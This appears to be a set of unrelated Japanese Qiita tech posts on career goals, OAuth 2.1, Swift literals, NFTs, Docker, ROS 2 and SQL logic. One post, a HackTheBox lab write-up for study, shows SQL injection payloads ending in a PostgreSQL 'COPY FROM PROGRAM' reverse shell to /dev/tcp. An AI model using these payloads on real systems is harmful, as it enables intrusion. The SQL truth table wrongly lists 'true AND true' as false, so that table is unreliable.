OmniAICreator/Qiita-1.07M huggingface dataset:
2年目の目標

## 趣旨
エンジニアにジョブチェンジして1年と3か月が経過しました。
今勤めている会社が9月末決算で、10月から年度が変わるので、
このタイミングでエンジニア2年目の目標とやることを整理しようと思います。

## 2年目の方針

設計・開発・テスト・調査・改修と、一通りの業務にこの一年間で携わることができ、
なんとなくエンジニアの業務の全体像のようなものがつかめてきたと感じています。

スキル面では、JAVA、SQL(postgresql)、JavaScriptを用いたプログラミングが主な業務でしたので、
『こう書けば動く』という基礎的な部分は定着してきましたが、標準搭載のAPIを使用して
独自モジュールを極力増やさないプログラミングや、オブジェクト指向・アスペクト指向を実践するなど、
保守性・品質を高めるための取り組みがおざなりだったなと感じます。

また、フレームワークやミドルウェア、OSなどについては
ほとんど触れる機会がなくほとんどからっきしの状態です。

この一年は、
『業務で必要なことを調べる』⇒『それらしい解決策を見つける』⇒『必要なところだけ理解して応用する』
という、インプットとアウトプットが一体となったオンデマンドな勉強がほとんどでしたが、
成長曲線が鈍化しているなと最近感じていることもあり、２年目は体系的な知識を身に着けることに注力しようと思います。

## やること・目標
1. JAVA Silver に合格する
1. Spring Boot のセミナーに参加する
1. ITパスポート・基本情報技術者に合格する
1. ポートフォリオを作成する
1. ブログ更新とセミナー受講を継続する

## やること① JAVA Silver合格
サーバーサイドの業務を開始する前に黒本を2周ほどしたのですが、
最近あいまいになってきている部分もありますし、今改めて勉強することで初めて
理解できるところも多くあると思い、やることリストに加えました。どうせなら資格を取ります。

## やること② Spring Bootセミナー
IT専門の会社ではないのですが、幸いにも今期の働きを評価していただけて、
来期に技術系のセミナーを受講することができることになりました。
調べてみたところ、WEBアプリそのものの仕組みやAnt・MAVENなどのビルドツールの基本、
SpringBootフレームワークの使い方まで扱っているセミナーがいくつかあるようなので、
勉強がしづらいこの分野をセミナーで習得しようと思います。

## やること③ ITパスポート・基本情報技術者合格
私は情報技術系の学部出身ではなく、お恥ずかしい話、世間一般レベルに
毛が生えた程度のITリテラシーしかありません。いくらプログラミングができたとしても
これではお話になりませんので、そろそろこのあたりにも手を付けていきます。
4月の試験を受けるつもりです。

## やること④ ポートフォリオを作成する
体系的な知識の習得は ① ~ ③ でひと段落として、
実運用レベルのWEBアプリケーションを作成しようと思います。

GASやElectron、RPAですがマイクロソフトのPADを使って簡単な便利ツールを作ったり、
スクリプトを組んだりすることしかこの1年はしてこなかったので、
一度全力でWEBアプリケーションを作ろうと思います。

スマホアプリも作ってみたいのですが、まずは本業でもあるWEBアプリを優先します。

## やること⑤ ブログ更新・セミナー受講を継続する
モチベーションの維持と、自身の市場価値向上のため、このブログの更新と技術系のセミナー受講を継続します。
オンラインサロンにも興味がありますが、私の性格からして続かなそうなので、まずはこの２つを頑張ります。

## まとめ
日常の業務で触れる範囲のことはできるようになってきましたが、
エンジニアとしての基礎固めが必要だと感じているので、この一年は『根を張る』期間にすべく頑張ります。
OAuth 2.1 備忘録

* 標準化に向けて進んでいるOAuth2.1についてメモする。

## OAuth 2.0

* サードパーティアプリからHTTPサービスへのアクセスを可能にするための認可フレームワーク。

  * 主にRFC 6749 OAuth Core (認可方式)と RFC 6750 Bearer Tokens(トークン利用方式)で構成される。

* 当初定義されていたものから、以下のような改善が加えられてきた。

  * Proof Key Code Exchange(PKCE)の導入
  * Implicit Grant の非推奨化
  * Resource Owner Password Credentials Grant（ROPCG） の非推奨化
  * Tokenのクエリ指定禁止
  * Device Grantの追加

  ...

![OAuth2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/586535/70154565-f98b-636d-5e18-3b7d9bfe3bd4.png)


## OAuth 2.1とは

* 改善が加えられてきたOAuth2.0の整理を目標に標準化が進められている仕様。

* **特徴**

  * **認可方式**：次を基本とする。
        * Authorization Code Grant + PKCE
        * Client Credentials Grant
        * Device Grant
  * **トークン指定方式**：次を基本とする。
        * HTTP Header
        * POST Form Body
        * ※クエリ指定禁止
    
![OAuth21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/586535/21f57299-d7c1-ad93-8c8b-ff0adebfb9b6.png)

## OAuth 2.0との違い

* **認可方式**
  * Authorization Code Grantを利用する際には、PKCE方式での利用を基本とする[※RFC7636より](https://tools.ietf.org/html/rfc7636)
  * Implicit Grantを廃止する[※Security Best Current Practiceより](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-2.1.2)
  * Resource Owner Password Credentials Grantを廃止する[※Security Best Current Practiceより](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-2.3)
* **リダイレクトURI検証時は完全一致判定を基本とする[※Security Best Current Practiceより](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-4.1.3)**
* **Bearer Tokenのクエリ指定を禁止する[※Security Best Current Practiceより](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-4.3.2)**
* **リフレッシュトークンは送信元を制限する、もしくは使用を1回限りとする[※Security Best Current Practiceより](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-15#section-4.12.2)**
* **クライアント種別に`credentialed`(クレデンシャルを保持しているが、認可サービスから存在を確認されていない)を追加。**

## 参考情報

* [The OAuth 2.1 Authorization Framework draft-ietf-oauth-v2-1-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-00)

* [OAuth 2.1 - OAuth Security Workshop](https://speakerdeck.com/aaronpk/oauth-2-dot-1-oauth-security-workshop?slide=17)

* [OAuth2.1](https://www.ietf.org/proceedings/106/slides/slides-106-oauth-sessa-oauth-21-00)
数値型のリテラル

# 特徴
数字と数字の間に「＿」を入れることができる
以下の例は全て同じ値を表す

```example.swift
let num = 123456789
let num1 = 0123456789
let num2 = 0_123_456_789
let num3 = 1234__567_89
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179037/e1566ffe-22b4-d2a9-313e-c312470e51bb.png)

# 16進数の書き方
先頭に「0x」をつける
この時、**x（エックス）**は必ず小文字にすること

```example.swift
let num = 0x1234abcd
let num1 = 0x1234ABCD
let num2 = 0x123_4ab_CD
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179037/f65dcc05-9dae-766c-b4d2-76a331133353.png)

# 8進数の書き方
先頭に0oをつける
この時、**o(オー)**は小文字にすること

```example.swift
let num = 0o12345670
let num1 = 0o1234_5670
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179037/91159cf0-ec7c-ab3f-b9fe-32094f73003f.png)

# 2進数の書き方
先頭に0bをつける
この時、　**b(ビー)**は小文字にすること

```example.swift
let num = 0b101010111001
let num1 = 0b1010_1011_1001
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179037/ccaa2008-458c-e8ef-9164-82cb4f59db70.png)

# 実数値の書き方
## 10進数の場合
シンプルに`3.1415`のように書ける
数値の後ろに**e**または**E**をつけると10のべき乗を表わせる

```example.swift
let num = 1.23e1
let num1 = 1.23e8
let num2 = 1.23e-2
```

# 16進数の場合
数値の後ろに**p**または**P**をつけると2のべき乗を表わせる

```example.swift
let num3 = 0x1.8p0
let num4 = 0x1.8P1
let num5 = 0x1.8p-2
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179037/2c668733-b508-4748-f023-d9345771f3be.png)
【NFT】調べたことをまとめてみた

最近よく聞く**NFT**について、調べてみました。
見返せるように簡潔にまとめたいと思います。

勘違いや理解が追いついていない点もあると思うので、
その際はご指摘頂けると、嬉しいです。


## NFTとは
そもそもNFTって言葉をよく聞くけど、なんなの？状態だったので、調べてみました。


### NFT

- Non-Fungible Token　（代替不可能なトークン）
これだけだと意味が分からないので、単語毎で解説します。

    - Non-Fungible　（代替不可能）<br>
簡潔に言うと、同じものとして交換出来るか出来ないかだと思います。<br>
よくある例を何点かあげておきます。<br>
        - 代替**可能**：円などの通貨<br>
自分が持っている100円とAさんの持っている100円を交換しても何も変わりません。<br>
同じものとして交換出来るので、代替可能と呼ばれています。
        - 代替**不可能**：コンサートチケット<br>
コンサートチケットには、開催日時、開催場所、座席、購入者の名前など固有の情報が記載されています。<br>
自分の持っているチケットと、Aさんの持っているチケットを交換してしまうと、チケットの情報が変わってしまいます。<br>
この場合、同じものとして交換出来ていないので、代替不可能と呼ばれています。

    - Token　（トークン）<br>
ここで出てくるトークンとは、証明、象徴等の意味を持っており、
権利書とかと似たようなものかと思います。<br>
調べていてわかりやすいなと思った例をあげます。
        - 土地を所有していることを証明するために、土地に名前を記載したりする人はいないと思います。<br>
なぜなら、証明にはならないし、名前を記載しても意味がないからです。<br>
その代わりに土地の権利書などを持つことで、そこの土地を所有している証明になります。<br>
つまり、トークン=権利書になるわけですね。わかりやすい:relaxed:！


## NFTに不可欠な技術

### ブロックチェーン

NFTには必要不可欠な技術として、ブロックチェーンが使用されていますね。
ブロックチェーンは簡易的に書くと、改ざん不可能な台帳（DB）と表現されています。

このブロックチェーンの技術を使用して、その作品の所有者の履歴を管理することによって
この作品を、今自分が所有しているという情報を改ざんされる心配なく持つことが出来ることになります。

---

NFTとは、ブロックチェーンを使用することにより、
その作品が誰のものであるのかが透明化、明確化され、
正規品であることを証明することが出来るようになったこと仕組みのことかと理解しました。



## 価値について

ネットニュースとか見ていると、高額で取引されていたりする記事を目にしますが、
何にそんな価値があるのなーと思ったことを、以下に記載していければと思います。

### コレクション

私が一番イメージしやすい価値がこちらでした。
カードゲームとか、プレミアのゲーム、スニーカーとかが近い気がします。
デジタルアートそのものは、コピーはいくらでも出来てしまいますが、
本物（正規品）を所有しているのという優越感、独占欲的なところに価値が生まれていると感じました。


### アーティストのファン活動

1つ目のコレクション的な価値と似ていますが、熱狂的なファンであることの証明が出来て、
応援しているアーティストの作品を自分だけが所有出来るという優越感的なところに価値が生まれていると感じました。
また、アーティストが直接出品されている場合、そのアーティストに直接収益が入るため、アーティストの支援をしているという気持ち、感覚も、NFTで作品を購入する価値を生んでいるのかもと感じました。

### 特典

NFTの保有者には様々な特典を付与されることもあるらしく、特典として価値が生まれている部分もあると感じました。
バンドのKings Of LeonはNFTの購入者に、メンバーが撮影した写真や限定のレコード、生涯ずっと彼らのライブを最前列で楽しめる「ゴールデンチケット」などの特典が付与されるなど、ファンからすると夢のような特典もあるみたいです。


## おわりに

NFTについて、調べてみて面白そうな分野だなーと思いました。
まだ購入はしたことがないので、いずれ購入できればと考えています。
私はゲームに疎いですが、ゲームのアイテムなども売買できることも可能らしいので、
課金とかもしやすくなっていきそうですね:slot_machine:！！

ただ、こうして調べたことを書いて見直すと、独占欲的な部分で私は価値を感じているような気がします。。。:joy:


#### 参考
> ・[【簡単解説】初心者でもわかる！話題沸騰中のNFTを理解しよう！]
(https://www.bridge-salon.jp/toushi/nft/)
> ・[【NFT特集vol.4】NFT×音楽の国内外事例3選]
(https://note.com/studio_entre/n/n898967e231d8)
非エンジニアに伝えたい、スプレッドシートとエクセルの原則

# はじめに
私はPythonでRPAしたり、GASで簡単なスクリプトを書いてスプレッドシートをデータベースとしたアプリケーションを作成することがあります。そのため、私はほかのプログラムで利用することを考えて整った表をつくるのですが、コードを書かない人からすると「機械で処理できる表の形式」が分からず、見た目重視でシートを作成してしまう為、スプレッドシートが持つ標準の関数や機能の活用チャンスすら逃しているように見えます。なので、GAS書きの視点で「とりあえずやってはいけないこと」をまとめます。

# 表形式データにおける原則
総務省の資料が優秀なので、これをもとによくあるミスをつまんで解説します。データを再利用するためには大事なことです。
https://www.soumu.go.jp/main_content/000723626.pdf

## 1セル1データ
ひとつのセルに入る情報はひとつだけにしましょう。会社名や日付の後に（xxx）と注釈を入れてはいけません。別の列を使いましょう。

悪い例

|人間|プロフィール|
|:-:|:-:|
|Aさん|23歳 無職|

良い例

| 人間 | 年齢 | 職業 |
|:-:|:-:|:-:|
|Aさん|23|無職|

## 数値は数値で
スプレッドシート、エクセルでは数値に変換できないものは文字列に変換されます。計算を行いたければ半角で入力して数値として認識させましょう。
悪い例

|人間|体重|
|:-:|:-:|
|Aさん|60kg|

60kgは60kgという文字列です。

良い例

|人間|体重_kg|
|:-:|:-:|
|Aさん|60|

## セルの結合をしない
表という美しい二次元構造をわざわざ壊す理由はどこにもありません。整然データを保ちましょう。

## スペースや改行で体裁を整えない
人間にとって認識が難しい文字のため事故が起こりやすいです。見た目を整えることは醜い行為です。


## 機種依存文字を使用しない
①などの丸付き数字は機種依存文字なので嫌われます。コンソールで表示しようとするだけで「不正なマルチバイト文字」となり、プログラムでの処理にも適していません。

## データが分断されていないか

不要な分割が多いと、読み取りに支障をきたします。
人間にとっても、Ctrl+カーソルでの移動でつっかえることが多いとストレスがたまるため、完全にからの行、列を作るべきではありません。

悪い例

| 人間 | 趣味 |
|:-:|:-:|
|Aさん| 森に行く|
|Bさん|海に行く|
|   |   |
|Cさん|川に行く|


良い例

| 人間 | 趣味 |
|:-:|:-:|
|Aさん|森に行く|
|Bさん|海に行く|
|Cさん|川に行く|


## 一つのシートに複数の表を作らない
よく見かけます。表は必ず左上ピッタリから、1シートに一つの表を作るようにしましょう。
表がどこから始まってどこまでだなんて、人間の都合でしかありません。人間が目と手を動かして必死に眺めること自体が非効率です。

# まとめ
表は見やすくするためというよりも、機械的に入力し、機械的に処理するためのものとして考えましょう。効率的にできることもできなくなってしまいます。
次回は実際に自動化に関する記事を書きたいです。

#参考
総務省, 統計表における機械判読可能なデータ作成に関する表記方法
https://www.soumu.go.jp/main_content/000723626.pdf
一部上場企業のトップエンジニアから教わった『エンジニアの心構え』

## 経緯
私の所属するWEBアプリの開発チームでは現在、諸所の課題の解決のため
外部からエンジニアを技術顧問として招いて様々なアドバイスをもらっています。

相談事項が一周したということで、私のようなチーム内の駆け出しのエンジニアたちが
顧問からざっくばらんに話を聞く機会をいただけました。
東証一部上場企業のトップエンジニアの方で、ありがたい話をたくさん聞けたので、この場で共有しようと思います。

主に、『エンジニアのキャリア』と『意識すべきこと・心構え』についてお話しいただきました。
いずれも新入社員の研修でお話しする内容にも通じるとのことで、今の私にぴったりのタイミングだったように感じます。

## エンジニアの心構え
### ① とにかく何かをアウトプットし続けること
- 誰かに褒めてもらえることが、エンジニアにとって何よりも モチベーションになる。
- 業務での成果物は外に出せない。つまり自身のステータスになりづらい。
- 情報をオープンにすることが業界への窓口になって、コネクションが生まれる。
- 媒体はGithubでもブログでも何でもいい。発信するものは作ったものでも勉強したことでもなんでもいい。とにかく若いうちから情報発信することを習慣にしておくことが大切。意外とやっている人は少ない。
- 自分の成果物が、知らない誰かからLGTMされることが何よりもモチベーションになって、自己研鑽の継続につながるし、自分がこれまでやってきたことを明示できるので明確なステータスになる。界隈で有名になれれば講演などのオファーやスカウトだって来る。

### ② どこでも戦える分野を１つ磨き続けることと、様々な分野に挑戦すること
- どんな問題が出ても『自分にはこれがあるから大丈夫 』と言い切れるような分野を一つ持つこと。
- そのうえで、いろいろな分野で様々な経験を積めるように努力すること。
- 時代の潮流に乗っている分野と、実際に現場で求められている分野を見極めること。
- コーディングでもOSでもインフラでもなんでもいいから、『これだけは誰にも負けない』と言える分野を持っておくこと。『なんでもそこそこできる人』には誰も仕事を頼まない。
- ただし、一つの分野を極めることと、一つの分野に固執することは違う。様々なサービスに携わって、たくさんの技術に触れて経験を積んでいくことが成長を加速させるし、自信の市場価値を高める。
- ただ、世間のマクロな流れだけ見ていると需要のある分野を誤認しやすい。今流行りのAIを必要としているのはほんの一部の大企業であって、ほとんどの中小企業ではまだまだVBAが求められる。様々な経験を積んでおけば役に立つ場面が必ず訪れる。

### ③ 中長期の開発計画は要らない。3日後に出せる進捗を積み重ねる
- アジャイル開発の進め方は、中長期を見越したガントチャートに則ったものではなく、とにかくすぐ出せる進捗をひたすら積み重ねるのが主流。
- やる前から課題を挙げない。とにかくやってみること。
- 日本のプロジェクトの進め方では、最初のMTGで往々にして『こういう問題があるから難しい』として企画をつぶす方向性に進んでしまうことが多い。
- まずはやってみて、まずいことがあったら戻る。3日ごとに進捗を出して積み重ねていくことが大事。結局はその方が手戻りは少なくなるもの。

## 所感
 　約１年間エンジニアとして働いてきて、なんとなくもやもやしていたことをぶつけさせていただいたのですが、考え方であったり心構えであったり、とてもためになるお話をいただけました。自分のなかで何か吹っ切れた気がします。
dd();の使い方

初めまして。名倉と申します！メモをする事が重要だと気づき、早速初めてみました＾＾
第１回目ですorz

- dd();の使う意味
-
コントローラーが通って動いているか？
とあるボタンを押したら、情報が渡せているか？
と確認する事ができます。

メリットとしては、
こまめに確認することによって、

* どこで、
* どんな理由で問題が起きているか？

と早期発見することができます。

※ちなみに私は共同開発の終わり頃に知って、自分の頭で仮説実行して狂ったように時間が溶けて行ったことを覚えています。


- そもそも、dd();って何？
-
ヘルパ関数です。
指定された変数の内容を表示し、実行を停止します。

- 使い方
-
（例）
![D5BF7AB2-D74D-4E12-A535-13325717A5F4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1958909/c72845be-e3aa-f6cf-0979-f9d8e48a23df.png)

上記は、ArticleController.phpファイルのstoreメソッドで、
ユーザーがリクエストした情報を記事（`title`, `category_id`, `summary`, `url`）に格納している内容です。

ここで、
dd($request->all());と変数を定義して確かめると、リクエスト処理は問題なくできたいるか？と確認ができます。
ちなみに、localhostでstoreメソッドが動くと、、、


![5937C5E7-74D3-4521-9F55-FCF96411A79C.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1958909/6aba2736-2773-1706-1135-c0908ad240bc.png)
のようになります。
しっかり入っていると確認ができます。


- ご参考にさせていただいた人またはURL
-
やんばるエキスパートのメンターさんですw
ツイッターなどのURL貼ろうとしましたが、無断添付は、、、wと思い今日はつけて無いです。

-最後に-　書いた理由
-
(腑に落ちていない所が未だにあるのですが、、、)共同開発でデバックの理解に時間がかかった為、
今回、書いてみました。

お手数ですが、何かおかしい箇所やアドバイスなどありましたら、コメントいただけますと幸いです!!
最後まで、ご覧いただきましてありがとうございました＾＾
自分のコーディングでユーザーに喜びの声いただいたこと

過去に組込みソフトウェア開発者向けのツールを開発していたことがありました。

そのときに、色々な機能を検討し、追加しましたが、ユーザから喜びの声をもらったのは（覚えているのは）、次の二つです。事例が増えたり・思い出したりしたら追記します。
どちらも、設計はそんなに大変でなく、コーティングにも時間をかけてません。逆に、開発に時間をかけましたが、喜びの声を聞いたことがなかった機能追加・機能変更は、それなりにあります。

# 事例
### ある処理に関して、ユーザーのツール操作の手数を10回くらいから2回に削減した

そもそも、どの処理に手数がかかっているか把握することが大切でした。

### 50分くらいかかっていた処理を10分程度で処理するようにした

そもそも、どこの関数がボトルネックになっているかを把握することが大切でした。ツールをつかって、ボトルネックとなっている関数を特定したのですが、何というツールだったかは、忘れてしまいました。
MFC の CString クラスの機能を使っていましたが、これが遅いことがわかりました。これに対して、CStringの変数をできる限り減らしました。また、 CString クラスの持っている一部の文字列操作機能をより高速に実行できるようにするため、独自に関数を作りました。場合によっては、用意されているライブラリの機能を使わず、自分で独自に実装する選択肢ももつことが大切でした。

# 所感
新しい機能の追加より、既存の機能の改善のほうが、喜びの声をもらえることが多そうです。
ちょっとした発想・工夫で、ユーザーに喜ばれると、本当に嬉しいです。
振り返ってみると、意外とささいなことが、価値を生み出すんだなぁと思います。

また、どちらの事例も、まずは現状を把握することが大切でした。

皆さんも、ユーザーに喜ばれた印象的な思い出たくさんあるでしょうか？意外とささいなことなんでしょうか？


# 参考記事

https://qiita.com/hirocueki2/items/3f66ff4d99861b331652

https://qiita.com/kaizen_nagoya/items/d85830d58d8dd7f71d07

https://qiita.com/mio256/items/eb70d6d2239acc2ce94c
はじめまして、駆け出しのWEBエンジニアです

こんにちは、はじめまして。
ご覧いただきありがとうございます。

今日から、備忘録も兼ねて、IT技術に関して学んだこと・身に着けたことを発信していこうと思います。

## 自己紹介・経歴
- 1993年生まれ。生まれも育ちも鹿児島です。
- 2017年3月文系大を卒業。在学中は体育会ラグビー部に在籍。
- 2017年4月 ～ 2021年3月、某損害保険会社で勤務。商品開発と営業の業務に従事。
- 2021年6月 ～ 現職でエンジニアとして開発業務に従事。
業務経験なしで入社し、1年と少し経過しました。


## 現在の仕事について
- 一般企業（非IT企業）の開発チームに在籍。社内ベンチャーに近いです。
- WEBアプリの開発業務に従事しています。
- 業務で使用している技術はJAVA、SpringBoot、JavaScript、Angular、NodeJS、Linux、PostgreSQL、AWS、CircleCI、...etc
- サーバーサイドがメイン。APIやBatchを開発しています。

これからよろしくお願いします。
HackTheBoxのVaccineでSQL Injectionを試してみた

#概要
便利ツールを使わずにSQLインジェクションの脆弱性を突いてみました。

HackTheBoxの初心者用マシンVaccineを攻略した際、
公式write upではsqlmapを使用してSQLインジェクションの脆弱性を突いていました。
しかし、sqlmapを使ってしまうと
SQLインジェクションの脆弱性を突く原理が理解できないと思ったので、
sqlmapに頼らない方法でマシンのシェルを取ってみました。

#シェル取得までの道のり
画面右の検索欄が今回のターゲット
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/e722ac8a-d2c1-337e-f6e2-c63dd6f8957a.png)

'a
'(シングルクォーテーション)と入力して検索してみると、エラー発生。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/e0dcfa69-124e-6f56-420b-281098b2bd87.png)


エラー内容をググると、DBMSはおそらくPostgreSQL
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/f606dbb2-b51c-85ac-ef6d-54454c77eb27.png)


検索結果の列数を調査してみましょう
' ORDER BY 5 -- と入力してみると、エラー発生せず⇒5列以上ある。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/297efbec-2c14-96ce-f42b-7ce649d5ba29.png)

' ORDER BY 6 -- と入力してみると、エラー発生 ⇒ 5列以上6列未満 = 5列
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/8cb43bdf-6b2c-a018-62b5-59740ab83715.png)


' UNION SELECT VERSION(),NULL,NULL,NULL,NULL --と入力し
バージョンを検索してみるとエラー発生。
結合元と結合先でカラムの種類が異なるようです。(INTEGERとTEXT)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/46eb4ba2-986a-036b-5a82-8be581275753.png)


VERSION()列を1列ずらしてみると正常に動作しました。
' UNION SELECT NULL,VERSION(),NULL,NULL,NULL --
PostgreSQL 11.5を使用しているようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/d286a2c7-444b-caa2-79a0-b9eb98fe595b.png)


ExploitDBで脆弱性があるかググってみました。
一番上を見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/f4c0dda0-f83a-de07-9b2f-57204208f21f.png)


Postgres 9.3以上で、任意のコマンドを実行することができるかも
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/fe11006f-8e61-6b4d-189a-953162440fa9.png)

以下のサイトがわかりやすかったので、試してみます。
[Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)


netcatを実行し
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/2b8319c3-c212-79d7-ce45-30f208de5753.png)

以下のコマンドを実行すると、シェルが取れました。
'; CREATE TABLE cmd_exec(cmd_output text); --
'; COPY cmd_exec FROM PROGRAM 'bash -c ''bash -i >& /dev/tcp/10.10.16.11/1234 0>&1'''; -- 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647758/497f0fd8-414a-a5ff-a873-f16923a85a5a.png)

#最後に
投稿内容で、疑問に思ったり違和感を感じたりしたことがあれば、
ご連絡をお待ちしております。

#参考情報
・[Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
・[exploit-db](https://www.exploit-db.com/)
ReactをDocker上のNginxで動かす

# はじめに
Create React Appで作成したプロジェクトのビルドファイルをDocker上のNginxで動かします。
ReactのビルドとNginxへの配置は一つのDockerfileでマルチステージビルドして行います。

# Dockerfileの書き方
```Dockerfile
ARG APP_HOME=/home/node/app

# build stage
FROM node:14.17 as build
WORKDIR ${APP_HOME}

COPY . ${APP_HOME}
RUN yarn install
RUN yarn build

# deploy stage
FROM nginx:alpine
COPY --from=build ${APP_HOME}/build /var/www
COPY ./nginx /etc/nginx/conf.d/

WORKDIR /usr/share/nginx/html
CMD ["nginx", "-g", "daemon off;"]
```
基本的にそんな難しいことはしてないですが、
Reactに関しては、ホストのファイル（`/src`、`/public`、`package.json`など）をコピーして`yarn install`と`yarn build`するだけです。
`yarn build`することで`/build`にビルドされたファイルができあがります。

# Nginxについて
Nginxについては上記のDockerflieにもあるようにマルチステージビルドで、Reactでビルドされたファイルを配信先のディレクトリにコピーして立ち上げるだけです。
マルチステージビルドについてはこちらをご覧ください。
https://docs.docker.com/develop/develop-images/multistage-build/

Nginxで立ち上げる際に一点注意があります。
デフォルトのNginxの設定だと、`/`でなく、`/sample/`などでアクセスしよとすると404エラーになってしまいます。
そこで設定ファイルを書き換えます。
`/nginx/default.conf`というファイルを以下のように作成します。

```nginx
server {
    listen       80;

    location / {
        root   /var/www;
        index  index.html index.htm;
        try_files $uri /index.html;
    }
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }
}
```
ここで作成した設定ファイルは上記Dockerfileの

```Dockerfile
COPY ./nginx /etc/nginx/conf.d/
```
の部分でコピーしてコンテナのNginxの設定を書き換えています。

以上でCreate React Appで作成したプロジェクトのビルドファイルをDocker上のNginxで動くようになったと思います。

# 最後に
こちらを実際に動かすときはDockerコマンドでもいいですが、以下のような`docker-compose.yml`を作成してビルドしてあげてもいいと思います。

```yml
version: "3.9"
services:
  front:
    build:
      context: .
      dockerfile: Dockerfile
    tty: true
    ports:
      - "80:80"
```
WSLとAndroidエミューレーターを共存させる。

## 導入
一般的なAndroidエミュレーターはHyper-Vを無効しないと使えないのに対して
WSLはHyper-Vを要求するのでどうしても共存は厳しいように見えたが。

物凄くよさげなものを見つけたので紹介する。
**なお宗教上の理由でBluestacksは使えないという方はここでブラウザバックしてもok。**
## 結論
**BlueStacks Hyper-V版**というのがあるらしい、というかあった。
最低限の動作環境やダウンロードリンクは下から。
[BlueStacks Hyper-V版を利用する方法 - bluestack.com](https://support.bluestacks.com/hc/ja/articles/360041390952-BlueStacks-Hyper-V%E7%89%88%E3%82%92%E5%88%A9%E7%94%A8%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95)

これでAndroidエミュレーターとWSLの共存が可能になった。

以下は GentooWSL2 と Bluestacks(Hyper-V)Beta を同時起動した写真。
![GentooWSL2 と Bluestacks(Hyper-V)Beta 共存](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1969204/d26b88ba-6a22-49ba-38dc-a21e84130171.png)
SQLが従う、NULLを含めた3値論理の真理表

## はじめに

真理値 unknown はリレーショナルデータベースがNULLを採用したことで持ち込まれた第三の真理値です。

注意しないといけないことは、真理値 unknown と NULLの一種である UNKNOWN とは別物だということ。

## 3値論理の真理表

- t: true
- u: unknown
- f: false

NOT

| x | NOT x |
| - | - |
| t | f |
| u | u |
| f | t |

AND

| AND | t | u | f |
| - | - | - | - |
| t | f | u | f |
| u | u | u | f |
| f | f | f | f |

OR

| OR | t | u | f |
| - | - | - | - |
| t | t | t | t |
| u | t | u | u |
| f | t | u | f |

## 3値論理の優先順位

上記の表を覚えるのは大変なので、以下の優先順位が出力を決定していると考えてみてはどうでしょうか？

AND

false > unknown > true

OR

true > unknown > false

これを覚えておくと、例えば「true AND unknown」の結果はunknownになるということがパッとわかると思います。

特に、ANDにunknownが含まれた場合、絶対にtrueにはならない。

ということはANDがtrueにはるのは、共にtrueの場合だけなのは、よく覚えておきましょう。

## さいごに

この知識を覚えた上で、次回以降具体的なコードを例に、3値理論がいかにトリッキーかをみていきます。

## 参照

https://www.amazon.co.jp/dp/4798157821/

64 - 65p 

## アウトプット100本ノック実施中

https://qiita.com/ryosuketter/items/713474dbd009870e4103
Windows上のROS 2でcolcon buildが失敗するのにエラーメッセージが出てこない場合


Windows上（WSLではないです）でROS 2のcolcon buildをしようとしたのですがビルドが通りませんでした．
それだけではなく，直接的なエラーメッセージが出力されず，対処できませんでした．
これに対する対処法を備忘録かねて書きます．



## 環境
記事執筆時の環境です．
* Windows 11
* ROS 2 foxy


## 対処法
以下のQ&Aに対処法があります．
[ROS2 colcon build on windows no error message shown when it failed - ROS Answers](https://answers.ros.org/question/322780/ros2-colcon-build-on-windows-no-error-message-shown-when-it-failed/)

以下のように記載されています．
> Unfortunately the Visual Studio compiler outputs error messages to stdout instead of stderr. By default colcon build hides the stdout output and only shows stderr output.

すなわち，ビルドを行うVSのコンパイラが`stdout`にエラーメッセージを出す一方，`colcon`は`stdout`を出力しないため，エラーメッセージが見えない状態になっているようです．

これは，`colcon build`時に次のようにオプションをつけてやると解決します．

```
colcon build --event-handlers console_cohesion+
```

なお，このままだと日本語が出力された際にPythonの文字コードエラーが出てしまうので，以下のコマンドでコンソールの文字コードを変更する

```
chcp 65001
```

か，PowerShell起動時に文字コードがUTF-8になるよう変更を加えてやる必要があります．
シェルについて、自分なりに分かりやすくまとめてみた。

##はじめに
以前からシェルの存在は知っていたが、詳しくは知らないし、最近勉強している中で、再度学ぶ機会があったので、自分なりに分かりやすくまとめてみます。

![URA83_kaigannokai20120908.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1870509/93a6e28a-4570-92a2-0338-b8c4c8430a3f.jpeg)

##目次

- シェルとは
- シェルの種類
- 使用中のシェルの確認方法
- シェルの主な用途
    - コマンド操作
